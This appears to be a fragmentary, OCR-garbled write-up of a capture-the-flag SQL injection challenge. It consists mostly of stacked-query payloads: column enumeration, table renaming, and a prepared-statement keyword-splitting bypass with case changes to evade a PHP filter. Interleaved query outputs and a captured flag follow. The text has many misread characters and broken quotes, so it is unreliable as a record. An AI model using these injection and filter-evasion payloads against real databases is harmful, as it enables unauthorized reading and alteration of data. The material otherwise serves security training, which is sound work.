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return preg match(”/select update delete drop insert where \./i”, $inject);
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';show columns from words;#
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array(6) {
[0]=>
string(2) “id”
(1]=>
string (7) “int (10)”
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string(2) “NO”
[(3]=>
string (0)
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NULL
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string(1) "1”
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[0]=>

string(4) “flag”
[1]=>
string(12) “varchar (100)”
[2]=>

string(2) "N0”
[3]=>

string(0) 7~
[4]=>

NULL
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1';rename table “words® to “wordsl” ;rename table ~1919810931114514° to “words ;alter table “words® change °
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array(2) {

[0]=>
string(42) “flag{06f3cf34-aed4-49bc-8dc2-ce7db2h7d805} "
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rename table “words® to "“xiaohua’;
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1';alter table 1919810931114514° add(id int NULL);rename table “words™ to “xiaohua’ ;rename table ~19198109
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array (2) {

[o1=>

string(42) “flag(06£3cf34-aed4-49bc-8dc2-ceTdb2b7d805} ”

[11=>

NULL
}
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set @a=concat("sel","ect flag from ~1919810931114514"");
prepare hello from @a
execute hello;


https://www.cnblogs.com/xhds/p/12274553.html

payload:

1';set @a=concat("sel","ect flag from ~1919810931114514 ");prepare hello from @a;execute hello;#
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strstr($inject, “set”) && strstr($inject, “prepare”)
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0 ) @a=concat("sel","ect flag from "1919810931114514"");prepare hello from @a;execute
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1';sEt @a=concat("sel","ect flag from ~1919810931114514 ");Prepare hello from @a;execute hello;#
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[1]=>
string (7) “hahahah”
}
array(l) {
[0]=>
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}
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